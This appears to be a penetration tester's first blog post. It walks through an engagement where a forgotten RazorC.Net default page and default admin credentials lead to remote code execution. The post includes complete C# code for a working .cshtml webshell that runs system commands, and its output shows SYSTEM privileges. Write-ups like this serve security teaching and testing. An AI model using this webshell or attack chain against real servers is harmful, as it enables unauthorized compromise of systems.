From 404 and default pages to RCE via .cshtml webshell

Introduction

This is my first Blog ever (yes it’s the first time I have a Blog, I have participated in multiple communities and forums since I was a teenager but never have had my own). As you can imagine I find it very exciting and I hope you do as well.

As every first post on a Blog I have to introduce myself. If you don’t care about this, or you are in a rush you can just skip this section.

My name is Joel Noguera, maybe you know me as Niemand (yes it’s a German word but I’m from Argentina) and I’m a system engineer who have always been passionate about cyber security. Last year I started doing Bug Bounties and now I’m working full time as pentester in one of the “Big Four”. If you want to know more, you can check the About me page.

Getting thing started

I wanted to make this post more original and write about one of my last experiences during an external assessment where I achieve a remote webshell chaining some bugs and exploring a RCE via .cshtml.

.cshtml? What is that? Maybe some of you know what this is, but I’m pretty sure that a big part of you doesn’t.

Beating the 404 error

I’ll begin at the beginning. As every external assessment, we start with a passive Recon, we use multiple tools like Sublister, DNS queries, Google dorks and SSL certificates in order to find as many resources as possible. For those who are used to this, will know that when we try to access to many of those resources on the commons ports like 80 and 443 we just receive a 403 or 404 Error as a response.

As “hackers” or security professional we can’t get satisfied by this answer and jump to the next resource. We need to find out what’s going on that server, why is alive, if it’s storing some juicy information or maybe someone has forgotten to shut it down?

There are many things to do that helps out to get information about the services running on the server but one of my favorites is fuzzing the directories with any fuzzing tool. Which one I always use? Yes! the ancient and beloved DirBuster. You can’t imagine the things you can discover with tools like this. Even if brute-forcing directories could be considered as a nasty technique, with the time you can craft interesting dictionaries depending of the framework and technology that the server is using (IIS, apache, JSP, etc).

Like I said we usually find a lot of these services that appear to be there for nothing, but using tools like the aforementioned we can find some interesting stuffs. For the case I want to explain I was getting a 404 on the root path of the site (let’s call it vulnerable.com). After running Dirbuster for a couple of minutes I got an interesting path “vulnerable.com/application/Default” which returned a 200 response.

First step accomplished! We were about to discard this possible attack vector but we keep pushing further and we now have some interesting path that could give us more information and a possible vector.

Gaining access to admin console

Once I loaded it in the browser I realised that it was a default page that someone had forgotten to remove or edit. Again I thought it was a dead end but I decided to keep reading and see how useful information could come out

It resulted to be a default installation page of Razorc.Net.

RazorC is a CMS which uses Razor syntax. Razor what? Yes ASP.Net Razor, it’s a language used to create dynamic websites with C# or Visual Basic. Keep this in mind because we are going back to this later.

Alert readers may have noticed something interesting in the last picture:

Go to your_domain.com/rcAdmin to access control panel (default user: “admin”, pwd: “razorc”)

Could this be possible? If they forgot to delete this default page maybe they have also forgotten to change the default credentials.

What’s that? Oh yes it’s the admin console we have just accessed with default credentials! One step closer to our goal, get a webshell.

Main goal: Creating our webshell

As Razorc.net says in their page, its “very easy to setup and modify. You can change any existing page layout to work with razorC.net in few minutes !!!”. Well that’s true if we give a quick look to their administration console. You will find indeed that it’s pretty straightforward and you can edit the content of each page.

Once we were inside, we decided to give it a try and read more about this Razor syntax and try to figure out how to use it in our favor.

Let’s take a look closer to Razor syntax and how it works. [1]

Main Razor Syntax Rules for C#
  • Razor code blocks are enclosed in @{ … }
  • Inline expressions (variables and functions) start with @
  • Code statements end with semicolon
  • Variables are declared with the var keyword
  • Strings are enclosed with quotation marks
  • C# code is case sensitive
  • C# files have the extension .cshtml

What we know until now? Razor is a template language which has a similar syntax to other languages of the same kind. It uses C# to create the dynamic content and it’s executed server side where it generates the views for the users. Finally, the files have the extension .cshtml, as we mentioned at the beginning of the post. Let’s now write some C# code to achieve Remote command execution following the Razor syntax.

After some trial and errors we got the following code (you can also check the code in my GitHub):

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;

@functions {

	string ExecuteCommand(string command, string arguments = null)
	{
		var output = new System.Text.StringBuilder();
		var process = new Process();
		var startInfo = new ProcessStartInfo
		{
			FileName = command,
			Arguments = arguments,
			WorkingDirectory = HttpRuntime.AppDomainAppPath,
			RedirectStandardOutput = true,
			RedirectStandardError = true,
			UseShellExecute = false
		};

		process.StartInfo = startInfo;
		process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
		process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

		process.Start();
		process.BeginOutputReadLine();
		process.BeginErrorReadLine();
		process.WaitForExit();

		return output.ToString();
	}
}

@{
	var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}

Output of the injected command (by Niemand):
	@cmd

We saved the page using RazorC admin console in a .cshtml file as the server would expect and we rendered the new page:

Output of the injected command (by Niemand): nt authority\system

Our code got executed and we got the RCE!!

Conclusions

When we first found the server we didn’t expected to find anything alive on the server. We had been scanning the client server for days and there were a lot of alive hosts without visible applications running publicly. But once we found the default page we keep pushing until we got the main goal, compromise the server.

To be honest, we didn’t get the webshell code at the first try. At the point we found that RazorC.net is a template language we didn’t know anything about or how to use it, but there is a lot of information about Razor syntax in the internet and of course we started trying simple things as:

@{
	var weekDay = DateTime.Now.DayOfWeek;
}

Today is @weekDay

Once we understood how Razor works and what we were capable of, we decided to upload the webshell.

References

[RazorC.Net] – http://www.razorc.net/

[Razor syntax W3] –¬†https://www.w3schools.com/asp/razor_syntax.asp

[Programming Using the Razor Syntax (C#)] –¬†https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c